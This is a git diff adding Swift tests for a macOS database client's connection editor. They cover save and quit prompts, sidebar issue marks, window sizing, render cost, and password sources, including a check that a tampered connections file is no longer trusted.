ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let edited = editor(fixture, connection, host: "replica.example.com") + var prompts: [ConnectionEditorSavePrompt] = [] + + let approved = ConnectionEditorWindowController.prepareToTerminate([edited]) { _, prompt in + prompts.append(prompt) + return .save + } + + #expect(approved) + #expect(prompts == [ConnectionEditorSavePrompt(connectionName: "Orders")]) + #expect(edited.store.isClosing) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "replica.example.com") + } + + @Test("A Save that fails stops the quit and leaves the editor on the issue") + func failedSaveStopsTheQuit() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let edited = editor(fixture, connection, host: "replica.example.com") + defer { edited.close() } + edited.store.setPort("99999") + edited.store.selectedFacet = .appearance + + let approved = ConnectionEditorWindowController.prepareToTerminate([edited]) { _, _ in .save } + + #expect(!approved) + #expect(!edited.store.isClosing) + #expect(edited.store.selectedFacet == .general) + #expect(edited.store.revealedIssue(for: .builtIn(.port)) != nil) + #expect(fixture.storage.loadConnection(id: connection.id)?.port == 5_432) + } + + @Test("Editors are asked one at a time, and a Cancel stops before the next is asked") + func oneEditorAtATime() throws { + let fixture = try ConnectionEditorStoreFixture() + let orders = postgres(name: "Orders") + let billing = postgres(name: "Billing") + let reports = postgres(name: "Reports") + fixture.seed([orders, billing, reports]) + let first = editor(fixture, orders, host: "one.example.com") + let second = editor(fixture, billing, host: "two.example.com") + let third = editor(fixture, reports, host: "three.example.com") + defer { + first.close() + second.close() + third.close() + } + var asked: [String] = [] + + let approved = ConnectionEditorWindowController.prepareToTerminate([first, second, third]) { _, prompt in + asked.append(prompt.connectionName) + return prompt.connectionName == "Orders" ? .dontSave : .cancel + } + + #expect(!approved) + #expect(asked == ["Orders", "Billing"]) + #expect(fixture.storage.loadConnection(id: reports.id)?.host == "db.example.com") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorRenderCostTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorRenderCostTests.swift new file mode 100644 index 0000000000..e6db4fad7e --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorRenderCostTests.swift @@ -0,0 +1,133 @@ +// +// ConnectionEditorRenderCostTests.swift +// TableProTests +// + +import AppKit +import Foundation +import SwiftUI +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +private final class RenderCounter { + var counts: [ConnectionFacet: Int] = [:] + + func hit(_ facet: ConnectionFacet) -> Int { + counts[facet, default: 0] += 1 + return counts[facet, default: 0] + } +} + +// Observes the store the way every facet view does, so its body runs exactly when the facet's would. +private struct CountingFacetPage: View { + @ObservedObject var store: ConnectionEditorStore + let facet: ConnectionFacet + let counter: RenderCounter + + var body: some View { + let _ = counter.hit(facet) + ConnectionEditorFacetPage(store: store, facet: facet) + } +} + +@MainActor +struct ConnectionEditorRenderCostTests { + // A quarter of a 60 Hz frame for the pure part of a keystroke, on the slowest runner. + private static let engineBudget = Duration.milliseconds(4) + + private func flush(_ window: NSWindow) { + for _ in 0..<3 { + RunLoop.main.run(until: Date()) + window.contentView?.layoutSubtreeIfNeeded() + window.displayIfNeeded() + } + } + + // Every transport a type offers, with an SSH host, a jump host and a masking rule, so each facet has rows. + private func heaviestKeystroke(_ type: DatabaseType) -> (cost: Duration, label: String) { + let traits = ConnectionTypeTraits.live(for: type, pluginManager: .shared) + let base = ConnectionDraft.new(type: type, traits: traits) + var worst = (cost: Duration.zero, label: "") + for transport in ConnectionEditorEngine.availableTransports(base, traits) { + var draft = base + draft.selectTransport(transport) + draft.ssh.host = "bastion.example.com" + _ = draft.addJumpHost() + _ = draft.addMaskingRule() + let iterations = 40 + let elapsed = ContinuousClock().measure { + for index in 0.. worst.cost { + worst = (elapsed / iterations, "\(type.rawValue) via \(transport?.rawValue ?? "direct")") + } + } + return worst + } + + @Test("Layout and issues for a keystroke stay within budget for every registered type") + func engineStaysWithinBudget() { + let rows = DatabaseType.allKnownTypes.map(heaviestKeystroke).sorted { $0.cost > $1.cost } + for row in rows { + #expect(row.cost < Self.engineBudget, "\(row.label): \(row.cost)") + } + } + + @Test("Typing in General renders General only, however many facets were visited") + func typingRendersTheShownFacetOnly() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.selectTransport(.ssh) + let counter = RenderCounter() + let detail = ConnectionEditorDetailViewController(store: store, onCloseMissingRecord: {}) { facet in + AnyView(CountingFacetPage(store: store, facet: facet, counter: counter)) + } + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 560, height: 700), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + defer { window.orderOut(nil) } + detail.view.frame = NSRect(x: 0, y: 0, width: 560, height: 700) + detail.view.autoresizingMask = [.width, .height] + window.contentView?.addSubview(detail.view) + for facet in store.layout.facetIDs + [.general] { + detail.show(.facet(facet)) + flush(window) + } + #expect(detail.visitedFacets == Set(store.layout.facetIDs)) + for facet in store.layout.facetIDs where facet != .general { + #expect(detail.host(for: facet)?.view.window == nil, "\(facet)") + } + + let before = counter.counts + let keystrokes = 10 + for index in 0..= 1) + #expect(rendered[.general, default: 0] <= keystrokes) + for facet in store.layout.facetIDs where facet != .general { + #expect(rendered[facet] == 0, "\(facet)") + } + + let parked = counter.counts[.advanced, default: 0] + detail.show(.facet(.advanced)) + flush(window) + #expect(counter.counts[.advanced, default: 0] > parked) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift new file mode 100644 index 0000000000..2342b03b50 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift @@ -0,0 +1,423 @@ +// +// ConnectionEditorWindowTests.swift +// TableProTests +// + +import AppKit +import Foundation +import TableProPluginKit +import TableProTestSupport +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorWindowTests { + private func postgres(name: String = "Orders") -> DatabaseConnection { + DatabaseConnection( + name: name, + host: "db.example.com", + port: 5_432, + database: "orders", + username: "app", + type: .postgresql + ) + } + + private func makeController( + _ fixture: ConnectionEditorStoreFixture, + _ request: ConnectionEditorStore.Request, + facet: ConnectionEditorFacetChoice? = nil + ) -> ConnectionEditorWindowController { + ConnectionEditorWindowController(store: fixture.makeStore(request), facet: facet, frameAutosaveName: nil) + } + + private func row(of facet: ConnectionFacet, in controller: ConnectionEditorWindowController) -> Int? { + controller.sidebar.rows.firstIndex { $0.facet == facet } + } + + // A SOCKS proxy with no host is an issue on SSH & Proxies, away from General. + private func raiseProxyIssue(_ store: ConnectionEditorStore) throws -> FieldIssue { + try #require(store.availableTransports.contains(.socksProxy)) + store.selectTransport(.socksProxy) + return try #require(store.issues(for: .sshAndProxies).first { $0.blocksSave }) + } + + // MARK: - Sidebar + + @Test("The sidebar lists the layout's facets and nothing else") + func sidebarListsLayoutFacets() throws { + let fixture = try ConnectionEditorStoreFixture() + let postgres = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + let sqlite = makeController(fixture, .new(type: .sqlite, parsedURL: nil)) + defer { + postgres.close() + sqlite.close() + } + + for controller in [postgres, sqlite] { + let layout = controller.store.layout + let facets = controller.sidebar.rows.map { $0.facet } + let titles = controller.sidebar.rows.map { $0.title } + #expect(facets == layout.facetIDs) + #expect(titles == layout.facets.map { $0.title }) + #expect(controller.sidebar.tableView.numberOfRows == layout.facets.count) + } + #expect(postgres.sidebar.rows.contains { $0.facet == .sslTLS }) + #expect(!sqlite.sidebar.rows.contains { $0.facet == .sslTLS }) + } + + @Test("The sidebar follows the store's selection, and a pick in the sidebar writes it back") + func sidebarSelectionIsTwoWay() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + defer { controller.close() } + let appearance = try #require(row(of: .appearance, in: controller)) + let safeMode = try #require(row(of: .safeMode, in: controller)) + + #expect(controller.sidebar.tableView.selectedRow == row(of: .general, in: controller)) + + controller.store.selectedFacet = .appearance + try await waitUntil { controller.sidebar.tableView.selectedRow == appearance } + #expect(controller.detail.shownContent == .facet(.appearance)) + + controller.sidebar.tableView.selectRowIndexes(IndexSet(integer: safeMode), byExtendingSelection: false) + #expect(controller.store.selectedFacet == .safeMode) + #expect(controller.detail.shownContent == .facet(.safeMode)) + #expect(controller.detail.visitedFacets == [.general, .appearance, .safeMode]) + } + + @Test("focus(on:) selects the issue's facet without giving the sidebar the keyboard") + func focusSelectsTheIssueFacet() async throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let controller = makeController(fixture, .edit(connectionId: connection.id)) + defer { controller.close() } + let issue = try raiseProxyIssue(controller.store) + let proxies = try #require(row(of: .sshAndProxies, in: controller)) + + controller.store.focus(on: issue) + + try await waitUntil { controller.sidebar.tableView.selectedRow == proxies } + #expect(controller.detail.shownContent == .facet(.sshAndProxies)) + #expect(controller.window?.firstResponder !== controller.sidebar.tableView) + } + + @Test("The issue mark shows while a facet has an error and goes when it is fixed") + func issueMarkAppearsAndClears() async throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let controller = makeController(fixture, .edit(connectionId: connection.id)) + defer { controller.close() } + #expect(!controller.sidebar.rows.contains { $0.hasIssues }) + + let issue = try raiseProxyIssue(controller.store) + try await waitUntil { + controller.sidebar.rows.first { $0.facet == .sshAndProxies }?.hasIssues == true + } + let marked = try #require(controller.sidebar.cell(for: .sshAndProxies)) + #expect(!marked.issueMark.isHidden) + #expect(marked.toolTip?.contains(issue.message) == true) + #expect(marked.accessibilityLabel() == String( + format: String(localized: "%1$@, %2$@"), ConnectionFacet.sshAndProxies.title, issue.message + )) + + controller.store.update { $0.socksProxy.host = "proxy.example.com" } + try await waitUntil { + controller.sidebar.rows.first { $0.facet == .sshAndProxies }?.hasIssues == false + } + let cleared = try #require(controller.sidebar.cell(for: .sshAndProxies)) + #expect(cleared.issueMark.isHidden) + #expect(cleared.toolTip == nil) + } + + @Test("The issue mark turns white on the emphasized selection") + func issueMarkFollowsEmphasis() throws { + let cell = ConnectionEditorSidebarCell(identifier: NSUserInterfaceItemIdentifier("cell")) + cell.backgroundStyle = .normal + #expect(cell.issueMark.contentTintColor == .systemRed) + cell.backgroundStyle = .emphasized + #expect(cell.issueMark.contentTintColor == .alternateSelectedControlTextColor) + } + + // MARK: - Opening on a facet + + @Test("A caller's facet opens the window there; one the type lacks leaves it on General") + func opensOnTheNamedFacet() throws { + let fixture = try ConnectionEditorStoreFixture() + let appearance = makeController(fixture, .new(type: .postgresql, parsedURL: nil), facet: .named(.appearance)) + let sqlite = makeController(fixture, .new(type: .sqlite, parsedURL: nil), facet: .named(.sslTLS)) + defer { + appearance.close() + sqlite.close() + } + + #expect(appearance.store.selectedFacet == .appearance) + #expect(appearance.detail.shownContent == .facet(.appearance)) + #expect(sqlite.store.selectedFacet == .general) + } + + @Test("A recovery opens on the facet of the first issue that blocks Save") + func recoveryOpensOnTheFirstIssue() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let controller = makeController(fixture, .edit(connectionId: connection.id)) + defer { controller.close() } + let issue = try raiseProxyIssue(controller.store) + controller.store.selectedFacet = .general + + controller.open(on: .firstIssue) + + #expect(controller.store.selectedFacet == .sshAndProxies) + #expect(controller.store.focusRequest?.row == issue.row) + #expect(controller.sidebar.tableView.selectedRow == row(of: .sshAndProxies, in: controller)) + } + + @Test("The opener hands the facet to the presenter, and a new connection asks for none") + func openerCarriesTheFacet() { + let opener = WindowOpener() + var opened: [(ConnectionFormRequest, ConnectionEditorFacetChoice?)] = [] + opener.setConnectionFormPresenter { opened.append(($0, $1)) } + let id = UUID() + + opener.openConnectionForm(editing: id, facet: .firstIssue) + opener.stageConnectionFormDraft(type: .postgresql) + opener.openStagedConnectionForm() + + #expect(opened.count == 2) + #expect(opened.first?.0 == .edit(connectionId: id)) + #expect(opened.first?.1 == .firstIssue) + #expect(opened.last?.1 == nil) + if case .create(let draftId) = opened.last?.0 { + _ = ConnectionFormDraftStore.shared.consume(draftId) + } + } + + // MARK: - Title + + @Test("The window is never blank-titled: the saved name stands in while Name is empty") + func titleIsNeverBlank() async throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let fresh = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + let edited = makeController(fixture, .edit(connectionId: connection.id)) + defer { + fresh.close() + edited.close() + } + + #expect(fresh.window?.title == String(localized: "New Connection")) + #expect(fresh.window?.subtitle == fresh.store.traits.displayName) + #expect(edited.window?.title == "Orders") + #expect(edited.window?.isDocumentEdited == false) + + edited.store.update { $0.name = "" } + try await waitUntil { edited.store.draft.name.isEmpty } + #expect(edited.window?.title == "Orders") + + edited.store.update { $0.name = "Billing" } + try await waitUntil { edited.window?.title == "Billing" } + #expect(edited.window?.isDocumentEdited == true) + } + + // MARK: - Record missing + + @Test("A connection deleted elsewhere shows the empty state with no facets to pick") + func recordMissingShowsEmptyState() throws { + let fixture = try ConnectionEditorStoreFixture() + fixture.seed([postgres()]) + let controller = makeController(fixture, .edit(connectionId: UUID())) + defer { controller.close() } + + #expect(controller.sidebar.rows.isEmpty) + #expect(controller.sidebar.tableView.numberOfRows == 0) + #expect(controller.detail.shownContent == .recordMissing) + #expect(controller.window?.isDocumentEdited == false) + #expect(controller.closeVerdict == .close) + } + + // MARK: - Frame + + @Test("The width is fixed and the height defaults to 700, clamped to the screen") + func defaultFrame() { + let width = ConnectionEditorWindowFrame.contentWidth + #expect(width == 780) + #expect(ConnectionEditorWindowFrame.defaultContentSize(visibleHeight: 1_000) == NSSize(width: width, height: 700)) + #expect(ConnectionEditorWindowFrame.defaultContentSize(visibleHeight: 640) == NSSize(width: width, height: 560)) + #expect(ConnectionEditorWindowFrame.defaultContentSize(visibleHeight: 500) == NSSize(width: width, height: 480)) + } + + @Test("A restored frame keeps the fixed width and a height between 480 and the screen minus 80") + func restoredFrameIsClamped() { + let width = ConnectionEditorWindowFrame.contentWidth + let clamp = ConnectionEditorWindowFrame.clampedContentSize + #expect(clamp(NSSize(width: 560, height: 1_400), 900) == NSSize(width: width, height: 820)) + #expect(clamp(NSSize(width: 900, height: 300), 900) == NSSize(width: width, height: 480)) + #expect(clamp(NSSize(width: width, height: 640), 900) == NSSize(width: width, height: 640)) + } + + @Test("The window holds the editor's width and minimum height") + func windowSizeLimits() throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + defer { controller.close() } + let window = try #require(controller.window) + let content = window.contentRect(forFrameRect: window.frame).size + + #expect(window.contentMinSize == NSSize(width: 780, height: 480)) + #expect(window.contentMaxSize.width == 780) + #expect(abs(content.width - 780) < 1) + #expect(content.height >= 480) + #expect(window.styleMask.contains(.fullSizeContentView)) + #expect(window.tabbingMode == .disallowed) + #expect(!window.isRestorable) + } + + // MARK: - Close guard + + @Test("Closing asks to save only when there is something Save could write") + func closeVerdict() { + #expect(ConnectionEditorCloseGuard.verdict(hasUnsavedChanges: false, isRecordMissing: false, connectionName: "Orders") == .close) + #expect(ConnectionEditorCloseGuard.verdict(hasUnsavedChanges: true, isRecordMissing: true, connectionName: "Orders") == .close) + let verdict = ConnectionEditorCloseGuard.verdict(hasUnsavedChanges: true, isRecordMissing: false, connectionName: "Orders") + #expect(verdict == .askToSave(ConnectionEditorSavePrompt(connectionName: "Orders"))) + #expect(ConnectionEditorSavePrompt(connectionName: "Orders").title + == String(format: String(localized: "Do you want to save the changes to “%@”?"), "Orders")) + } + + @Test("The alert's buttons map to Save, Cancel and Don't Save in that order") + func closeChoices() { + let alert = ConnectionEditorCloseGuard.makeAlert(ConnectionEditorSavePrompt(connectionName: "Orders")) + let titles = alert.buttons.map { $0.title } + #expect(titles == [ + String(localized: "Save"), String(localized: "Cancel"), String(localized: "Don't Save"), + ]) + #expect(ConnectionEditorCloseGuard.choice(for: .alertFirstButtonReturn) == .save) + #expect(ConnectionEditorCloseGuard.choice(for: .alertSecondButtonReturn) == .cancel) + #expect(ConnectionEditorCloseGuard.choice(for: .alertThirdButtonReturn) == .dontSave) + } + + @Test("With Save blocked the alert says why and offers only Cancel and Don't Save, neither on Return") + func blockedSaveAlert() { + let reason = "Enter a port from 1 to 65535." + let prompt = ConnectionEditorSavePrompt(connectionName: "Orders", blockingIssue: reason) + let alert = ConnectionEditorCloseGuard.makeAlert(prompt) + let titles = alert.buttons.map { $0.title } + + #expect(!prompt.canSave) + #expect(titles == [String(localized: "Cancel"), String(localized: "Don't Save")]) + #expect(alert.buttons.first?.keyEquivalent == "\u{1B}") + #expect(!alert.buttons.contains { $0.keyEquivalent == "\r" }) + #expect(alert.messageText == String(format: String(localized: "The changes to “%@” can't be saved yet."), "Orders")) + #expect(alert.informativeText.hasPrefix(reason)) + #expect(ConnectionEditorCloseGuard.choice(for: .alertFirstButtonReturn, canSave: false) == .cancel) + #expect(ConnectionEditorCloseGuard.choice(for: .alertSecondButtonReturn, canSave: false) == .dontSave) + } + + @Test("A blocked close names the issue, and Cancel keeps the window and goes to it") + func blockedCancelRevealsTheIssue() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let blocked = makeController(fixture, .edit(connectionId: connection.id)) + defer { blocked.close() } + blocked.store.update { $0.host = "replica.example.com" } + blocked.store.setPort("99999") + blocked.store.selectedFacet = .appearance + + guard case .askToSave(let prompt) = blocked.closeVerdict else { + Issue.record("Expected the close to ask") + return + } + #expect(prompt.blockingIssue == blocked.store.firstBlockingIssue?.message) + blocked.resolveClose(.cancel) + + #expect(!blocked.store.isClosing) + #expect(blocked.store.selectedFacet == .general) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "db.example.com") + } + + @Test("Cancel on an untouched editor closes it at once") + func cancelWithoutEditsCloses() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let controller = makeController(fixture, .edit(connectionId: connection.id)) + + #expect(controller.closeVerdict == .close) + controller.requestClose() + + #expect(controller.store.isClosing) + } + + @Test("Don't Save closes without writing; a Save that fails keeps the window; one that lands closes it") + func closeChoicesAct() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + + let discarding = makeController(fixture, .edit(connectionId: connection.id)) + discarding.store.update { $0.host = "replica.example.com" } + #expect(discarding.closeVerdict == .askToSave(ConnectionEditorSavePrompt(connectionName: "Orders"))) + discarding.resolveClose(.dontSave) + #expect(discarding.store.isClosing) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "db.example.com") + + let blocked = makeController(fixture, .edit(connectionId: connection.id)) + defer { blocked.close() } + blocked.store.setPort("99999") + blocked.store.selectedFacet = .appearance + blocked.resolveClose(.save) + #expect(!blocked.store.isClosing) + #expect(blocked.store.selectedFacet == .general) + + let saving = makeController(fixture, .edit(connectionId: connection.id)) + saving.store.update { $0.host = "replica.example.com" } + saving.resolveClose(.save) + #expect(saving.store.isClosing) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "replica.example.com") + } + + @Test("Save in the close question stores a new connection without connecting, which Save & Connect does") + func closeSaveDoesNotConnect() throws { + let fixture = try ConnectionEditorStoreFixture() + var connected: [UUID] = [] + + let closing = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + closing.store.connectAction = { connected.append($0.id) } + closing.store.update { $0.name = "Orders" } + guard case .askToSave = closing.closeVerdict else { + Issue.record("Expected the close to ask") + return + } + closing.resolveClose(.save) + #expect(closing.store.isClosing) + #expect(fixture.storage.loadConnection(id: closing.store.connectionId) != nil) + #expect(connected.isEmpty) + + let committing = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + committing.store.connectAction = { connected.append($0.id) } + committing.store.update { $0.name = "Invoices" } + committing.commit() + #expect(connected == [committing.store.connectionId]) + } + + @Test("An invalid field is not an alert: Save already shows it in place") + func saveErrorAlerts() { + let issue = FieldIssue(facet: .general, row: .builtIn(.port), message: "Port", severity: .error) + #expect(!ConnectionEditorPresentations.alertsSaveError(nil)) + #expect(!ConnectionEditorPresentations.alertsSaveError(.invalid(issue))) + #expect(ConnectionEditorPresentations.alertsSaveError(.keychainWriteFailed)) + #expect(ConnectionEditorPresentations.alertsSaveError(.recordMissing)) + } + + @Test("A test result keeps the server version only when it signed in") + func testResultServerVersion() { + #expect(ConnectionTestResult(succeeded: true, serverVersion: "16.4").serverVersion == "16.4") + #expect(ConnectionTestResult(succeeded: false, serverVersion: "16.4").serverVersion == nil) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAdvancedTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAdvancedTests.swift new file mode 100644 index 0000000000..b8acffa346 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAdvancedTests.swift @@ -0,0 +1,65 @@ +// +// ConnectionEditorStoreAdvancedTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreAdvancedTests { + private let vec = LoadableExtension(path: "/opt/homebrew/lib/vec0.dylib") + private let spatialite = LoadableExtension(path: "/opt/homebrew/lib/mod_spatialite.dylib") + + private func editing(_ extensions: [LoadableExtension], in fixture: ConnectionEditorStoreFixture) throws + -> ConnectionEditorStore { + try #require( + PluginManager.shared.additionalConnectionFields(for: .sqlite) + .contains { $0.content == .loadableExtensions } + ) + let connection = DatabaseConnection( + name: "Vectors", + type: .sqlite, + additionalFields: [LoadableExtensionList.fieldId: LoadableExtensionList.encode(extensions)] + ) + fixture.seed([connection]) + return fixture.makeStore(.edit(connectionId: connection.id)) + } + + @Test("Saving an imported list untouched approves none of it") + func untouchedListApprovesNothing() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try editing([vec], in: fixture) + #expect(try LoadableExtensionList.decode(store.draft.fieldValues[LoadableExtensionList.fieldId]) == [vec]) + #expect(store.editedExtensions.isEmpty) + } + + @Test("Only the files added in this form count as chosen on this Mac") + func addedFilesAreEdited() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try editing([vec], in: fixture) + store.setFieldValue(LoadableExtensionList.encode([vec, spatialite]), for: LoadableExtensionList.fieldId) + #expect(store.editedExtensions == [spatialite]) + } + + @Test("Changing a file's entry point makes it a new choice") + func changedEntryPointIsEdited() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try editing([vec], in: fixture) + let renamed = LoadableExtension(path: vec.path, entryPoint: "sqlite3_vec_init") + store.setFieldValue(LoadableExtensionList.encode([renamed]), for: LoadableExtensionList.fieldId) + #expect(store.editedExtensions == [renamed]) + } + + @Test("A new connection saved Local only has nothing in iCloud Keychain to remove") + func newLocalOnlyConnectionRemovesNothing() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) + store.update { $0.options.localOnly = true } + + #expect(!store.removesSyncedSecretsOnSave) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift new file mode 100644 index 0000000000..d9817d67bc --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift @@ -0,0 +1,177 @@ +// +// ConnectionEditorStoreAuthTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreAuthTests { + private func connection( + source: PasswordSource?, + type: DatabaseType = .mysql, + configure: (inout DatabaseConnection) -> Void = { _ in } + ) -> DatabaseConnection { + var connection = TestFixtures.makeConnection(type: type) + connection.username = "app" + connection.passwordSource = source + configure(&connection) + return connection + } + + private func editing(_ connection: DatabaseConnection, in fixture: ConnectionEditorStoreFixture) -> ConnectionEditorStore { + fixture.seed([connection]) + return fixture.makeStore(.edit(connectionId: connection.id)) + } + + @Test("The form knows where a connection's password comes from") + func loadsThePasswordSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let source = PasswordSource.command(shell: "op read op://vault/db/password") + let store = editing(connection(source: source), in: fixture) + + #expect(store.draft.credentials.passwordSource == source) + #expect(ConnectionEditorEngine.passwordSourceInUse(store.draft, store.traits) == source) + #expect(store.layout.contains(.builtIn(.passwordSource))) + } + + @Test("A prompt or a linked profile overrides the connection's own source") + func promptAndProfileOverrideTheSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = editing(connection(source: .env(variable: "DB_PASSWORD")), in: fixture) + + store.setPasswordPrompt(true) + #expect(ConnectionEditorEngine.passwordSourceInUse(store.draft, store.traits) == nil) + #expect(!store.layout.contains(.builtIn(.passwordSource))) + + store.setPasswordPrompt(false) + store.setCredentialMode(.profile(id: UUID())) + #expect(ConnectionEditorEngine.passwordSourceInUse(store.draft, store.traits) == nil) + } + + @Test("Saving a source-backed connection as a profile keeps the source") + func promotionKeepsATrustedSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let source = PasswordSource.file(path: "~/.secrets/db") + let store = editing(connection(source: source), in: fixture) + + #expect(fixture.storage.storeIsTrusted) + #expect(store.credentialProfileFromCurrentCredentials().passwordMode == .source(source)) + } + + @Test("The profile being saved keeps one id while its sheet is up, so a retried Save finds what it wrote") + func promotedProfileKeepsItsId() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = editing(connection(source: nil), in: fixture) + + store.presentSaveCredentialsAsProfile() + let presented = try #require(store.credentialProfileToSave) + #expect(presented.username == "app") + #expect(fixture.credentialProfiles.addProfile(presented)) + #expect(store.credentialProfileToSave?.id == presented.id) + + store.didSaveCredentialProfile(presented) + #expect(store.credentialProfileToSave == nil) + #expect(store.draft.credentials.mode == .profile(id: presented.id)) + store.presentSaveCredentialsAsProfile() + #expect(store.credentialProfileToSave == nil) + } + + @Test("A source from a connections file something else changed becomes a prompt, never a profile source") + func promotionDropsAnUntrustedSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let planted = connection(source: .command(shell: "echo owned")) + fixture.seed([planted]) + let fileURL = fixture.directory.appendingPathComponent("connections.json") + var data = try Data(contentsOf: fileURL) + data.append(contentsOf: Array(" ".utf8)) + try data.write(to: fileURL) + fixture.storage.invalidateCache() + + let store = fixture.makeStore(.edit(connectionId: planted.id)) + #expect(store.draft.credentials.passwordSource != nil) + #expect(!fixture.storage.storeIsTrusted) + #expect(store.credentialProfileFromCurrentCredentials().passwordMode == .prompt) + } + + // ~/.pgpass is a PostgreSQL toggle, so the promotion is checked on a type that declares it. + @Test("Saving a ~/.pgpass connection as a profile keeps ~/.pgpass") + func promotionKeepsPgpass() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = editing(connection(source: nil, type: .postgresql), in: fixture) + #expect(store.traits.field(ConnectionEditorEngine.pgpassFieldId) != nil) + store.setFieldValue("true", for: ConnectionEditorEngine.pgpassFieldId) + + #expect(store.credentialProfileFromCurrentCredentials().passwordMode == .pgpass) + } + + @Test("Test Connection asks for the password when Prompt for password is on") + func testConnectionCarriesThePromptFlag() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: nil, parsedURL: nil)) + store.setPasswordPrompt(true) + + let tested = store.testRecord(testId: UUID()) + + #expect(tested.promptForPassword) + #expect(ConnectionCredentialResolver.promptsForPassword(tested)) + } + + @Test("Test Connection runs the connection's source, not a Keychain password left beside it") + func testConnectionUsesTheSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let source = PasswordSource.env(variable: "DB_PASSWORD") + let stored = connection(source: source) + fixture.seed([stored]) + #expect(fixture.storage.savePassword("stale", for: stored.id)) + let store = fixture.makeStore(.edit(connectionId: stored.id)) + + #expect(store.draft.credentials.password == "stale") + #expect(store.testRecord(testId: UUID()).passwordSource == source) + } + + @Test("Test runs the source a profile deleted while the editor was open handed to the connection") + func testUsesTheSourceADeletedProfileHandsOver() throws { + let fixture = try ConnectionEditorStoreFixture() + let source = PasswordSource.env(variable: "DB_PASSWORD") + let profile = CredentialProfile(name: "Shared", username: "shared", passwordMode: .source(source)) + #expect(fixture.credentialProfiles.addProfile(profile)) + let store = editing(connection(source: nil) { $0.credentialMode = .profile(id: profile.id) }, in: fixture) + + #expect(fixture.credentialProfiles.deleteProfile(profile)) + #expect(store.draft.credentials.passwordSource == source) + + let tested = store.testRecord(testId: UUID()) + #expect(tested.credentialMode == .inline) + #expect(tested.username == "shared") + #expect(tested.passwordSource == source) + } + + @Test("A ~/.pgpass profile deleted while the editor is open leaves the form and Test on ~/.pgpass") + func deletedPgpassProfileIsAdopted() throws { + let fixture = try ConnectionEditorStoreFixture() + let profile = CredentialProfile(name: "Local", username: "app", passwordMode: .pgpass) + #expect(fixture.credentialProfiles.addProfile(profile)) + let store = editing( + connection(source: nil, type: .postgresql) { $0.credentialMode = .profile(id: profile.id) }, + in: fixture + ) + + #expect(fixture.credentialProfiles.deleteProfile(profile)) + + #expect(ConnectionEditorEngine.usesPgpass(store.draft, store.traits)) + #expect(store.testRecord(testId: UUID()).usePgpass) + } + + @Test("A connection with only a source can still be saved as a profile") + func sourceAloneIsPromotable() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = editing(connection(source: .env(variable: "REDIS_PASSWORD")) { $0.username = "" }, in: fixture) + + #expect(store.hasPromotableCredentials) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift 